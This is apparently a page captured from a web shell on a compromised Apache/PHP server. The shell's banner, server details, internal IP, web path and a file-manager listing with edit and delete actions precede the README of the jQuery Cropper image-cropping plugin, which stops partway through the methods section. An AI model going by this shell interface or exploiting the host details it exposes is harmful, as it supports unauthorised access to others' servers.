MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux ip-172-26-15-81 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
  SOFT : Apache/2.4.41 (Ubuntu) PHP : 7.4.3-4ubuntu2.29
/var/www/studentcon/manage/vendors/cropper/
172.26.15.81

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
dist dir drwxr-xr-x 2018-08-01 01:23 R D
src dir drwxr-xr-x 2018-08-01 01:23 R D
.bower.json 1.188 KB -rwxr-xr-x 2018-03-31 02:38 R E G D
CHANGELOG.md 10.293 KB -rwxr-xr-x 2018-03-31 02:38 R E G D
LICENSE 1.076 KB -rwxr-xr-x 2018-03-31 02:38 R E G D
README.md 23.809 KB -rwxr-xr-x 2018-03-31 02:38 R E G D
bower.json 0.911 KB -rwxr-xr-x 2018-03-31 02:38 R E G D
package.json 1.126 KB -rwxr-xr-x 2018-03-31 02:38 R E G D
REQUEST EXIT
# Cropper > A simple jQuery image cropping plugin. - [Website](https://fengyuanchen.github.io/cropper) - [Cropper without jQuery](https://github.com/fengyuanchen/cropperjs) [![Build Status Images](https://travis-ci.org/fengyuanchen/cropper.svg)](https://travis-ci.org/fengyuanchen/cropper) ## Table of contents - [Features](#features) - [Main](#main) - [Getting started](#getting-started) - [Options](#options) - [Methods](#methods) - [Events](#events) - [No conflict](#no-conflict) - [Browser support](#browser-support) - [Contributing](#contributing) - [Versioning](#versioning) - [License](#license) ## Features - Supports 39 [options](#options) - Supports 27 [methods](#methods) - Supports 7 [events](#events) - Supports touch (mobile) - Supports zooming - Supports rotating - Supports scaling (flipping) - Supports multiple croppers - Supports to crop on a canvas - Supports to crop image in the browser-side by canvas - Supports to translate Exif Orientation information - Cross-browser support ## Main ``` dist/ ├── cropper.css ( 5 KB) ├── cropper.min.css ( 4 KB) ├── cropper.js (79 KB) └── cropper.min.js (28 KB) ``` ## Getting started ### Quick start Four quick start options are available: - [Download the latest release](https://github.com/fengyuanchen/cropper/archive/master.zip). - Clone the repository: `git clone https://github.com/fengyuanchen/cropper.git`. - Install with [NPM](http://npmjs.org): `npm install cropper`. - Install with [Bower](http://bower.io): `bower install cropper`. ### Installation Include files: ```html ``` The [cdnjs](https://github.com/cdnjs/cdnjs) provides CDN support for Cropper's CSS and JavaScript. You can find the links [here](https://cdnjs.com/libraries/cropper). ### Usage Initialize with `$.fn.cropper` method. ```html
``` ```css /* Limit image width to avoid overflow the container */ img { max-width: 100%; /* This rule is very important, please do not ignore this! */ } ``` ```js $('#image').cropper({ aspectRatio: 16 / 9, crop: function(e) { // Output the result data for cropping image. console.log(e.x); console.log(e.y); console.log(e.width); console.log(e.height); console.log(e.rotate); console.log(e.scaleX); console.log(e.scaleY); } }); ``` #### FAQ See the [FAQ](FAQ.md) documentation. #### Notes - The size of the cropper inherits from the size of the image's parent element (wrapper), so be sure to wrap the image with a **visible block element**. > If you are using cropper in a modal, you should initialize the cropper after the modal shown completely. Otherwise, you will not get a correct cropper. - The outputted cropped data bases on the original image size, so you can use them to crop the image directly. - If you try to start cropper on a cross-origin image, please make sure that your browser supports HTML5 [CORS settings attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_settings_attributes), and your image server supports the `Access-Control-Allow-Origin` option (see the [HTTP access control (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS)). #### Known issues - [Known iOS resource limits](https://developer.apple.com/library/mac/documentation/AppleApplications/Reference/SafariWebContent/CreatingContentforSafarioniPhone/CreatingContentforSafarioniPhone.html): As iOS devices limit memory, the browser may crash when you are cropping a large image (iPhone camera resolution). To avoid this, you may resize the image first (below 1024px) before start a cropper. - Known image size increase: When export the cropped image on browser-side with the `HTMLCanvasElement.toDataURL` method, the the exported image'size may be greater than the original image's. This is because the exported image'type is not the same as the original image's. So just pass the original image's type as the first parameter to `toDataURL` to fix this. For example, if the original type is JPEG, then use `$().cropper('getCroppedCanvas').toDataURL('image/jpeg')` to export image. [⬆ back to top](#table-of-contents) ## Options You may set cropper options with `$().cropper(options)`. If you want to change the global default options, You may use `$.fn.cropper.setDefaults(options)`. ### viewMode - Type: `Number` - Default: `0` - Options: - `0`: the crop box is just within the container - `1`: the crop box should be within the canvas - `2`: the canvas should not be within the container - `3`: the container should be within the canvas Define the view mode of the cropper. ### dragMode - Type: `String` - Default: `'crop'` - Options: - `'crop'`: create a new crop box - `'move'`: move the canvas - `'none'`: do nothing Define the dragging mode of the cropper. ### aspectRatio - Type: `Number` - Default: `NaN` Set the aspect ratio of the crop box. By default, the crop box is free ratio. ### data - Type: `Object` - Default: `null` The previous cropped data if you had stored, will be passed to `setData` method automatically. ### preview - Type: `String` (**jQuery selector**) - Default: `''` Add extra elements (containers) for previewing. **Notes:** - The maximum width is the initial width of preview container. - The maximum height is the initial height of preview container. - If you set an `aspectRatio` option, be sure to set the preview container with the same aspect ratio. - If preview is not getting properly displayed, set `overflow:hidden` to the preview container. ### responsive - Type: `Boolean` - Default: `true` Re-render the cropper when resize the window. ### restore - Type: `Boolean` - Default: `true` Restore the cropped area after resize the window. ### checkCrossOrigin - Type: `Boolean` - Default: `true` Check if the current image is a cross-origin image. If it is, when clone the image, a `crossOrigin` attribute will be added to the cloned image element and a timestamp will be added to the `src` attribute to reload the source image to avoid browser cache error. By adding `crossOrigin` attribute to image will stop adding timestamp to image url, and stop reload of image. ### checkOrientation - Type: `Boolean` - Default: `true` Check the current image's Exif Orientation information. More exactly, read the Orientation value for rotating or flipping the image, and then override the Orientation value with `1` (the default value) to avoid some issues (#120, #509) on iOS devices. **Note:** Don't trust this all the time as some JPG images have incorrect (not standard) Orientation values. > Requires [Typed Arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) support ([IE 10+](http://caniuse.com/typedarrays)). ### modal - Type: `Boolean` - Default: `true` Show the black modal above the image and under the crop box. ### guides - Type: `Boolean` - Default: `true` Show the dashed lines above the crop box. ### center - Type: `Boolean` - Default: `true` Show the center indicator above the crop box. ### highlight - Type: `Boolean` - Default: `true` Show the white modal above the crop box (highlight the crop box). ### background - Type: `Boolean` - Default: `true` Show the grid background of the container. ### autoCrop - Type: `Boolean` - Default: `true` Enable to crop the image automatically when initialize. ### autoCropArea - Type: `Number` - Default: `0.8` (80% of the image) A number between 0 and 1. Define the automatic cropping area size (percentage). ### movable - Type: `Boolean` - Default: `true` Enable to move the image. ### rotatable - Type: `Boolean` - Default: `true` Enable to rotate the image. ### scalable - Type: `Boolean` - Default: `true` Enable to scale the image. ### zoomable - Type: `Boolean` - Default: `true` Enable to zoom the image. ### zoomOnTouch - Type: `Boolean` - Default: `true` Enable to zoom the image by dragging touch. ### zoomOnWheel - Type: `Boolean` - Default: `true` Enable to zoom the image by wheeling mouse. ### wheelZoomRatio - Type: `Number` - Default: `0.1` Define zoom ratio when zoom the image by wheeling mouse. ### cropBoxMovable - Type: `Boolean` - Default: `true` Enable to move the crop box by dragging. ### cropBoxResizable - Type: `Boolean` - Default: `true` Enable to resize the crop box by dragging. ### toggleDragModeOnDblclick - Type: `Boolean` - Default: `true` Enable to toggle drag mode between "crop" and "move" when click twice on the cropper. ### minContainerWidth - Type: `Number` - Default: `200` The minimum width of the container. ### minContainerHeight - Type: `Number` - Default: `100` The minimum height of the container. ### minCanvasWidth - Type: `Number` - Default: `0` The minimum width of the canvas (image wrapper). ### minCanvasHeight - Type: `Number` - Default: `0` The minimum height of the canvas (image wrapper). ### minCropBoxWidth - Type: `Number` - Default: `0` The minimum width of the crop box. **Note:** This size is relative to the page, not the image. ### minCropBoxHeight - Type: `Number` - Default: `0` The minimum height of the crop box. **Note:** This size is relative to the page, not the image. ### build - Type: `Function` - Default: `null` A shortcut of the "build.cropper" event. ### built - Type: `Function` - Default: `null` A shortcut of the "built.cropper" event. ### cropstart - Type: `Function` - Default: `null` A shortcut of the "cropstart.cropper" event. ### cropmove - Type: `Function` - Default: `null` A shortcut of the "cropmove.cropper" event. ### cropend - Type: `Function` - Default: `null` A shortcut of the "cropend.cropper" event. ### crop - Type: `Function` - Default: `null` A shortcut of the "crop.cropper" event. ### zoom - Type: `Function` - Default: `null` A shortcut of the "zoom.cropper" event. [⬆ back to top](#table-of-contents) ## Methods As there is an **asynchronous** process when load the image, you **should call most of the methods after built**, except "setAspectRatio", "replace" and "destroy". ```js $().cropper({ built: function () { $().cropper('method', argument1, , argument2, ..., argumentN); } }); ``` ### crop() Show the crop box manually. ```js $().cropper({ autoCrop: false, built: function () { // Do something here // ... // And then $(this).cropper('crop'); } }); ``` ### reset() Reset the image and crop box to their initial states. ### clear()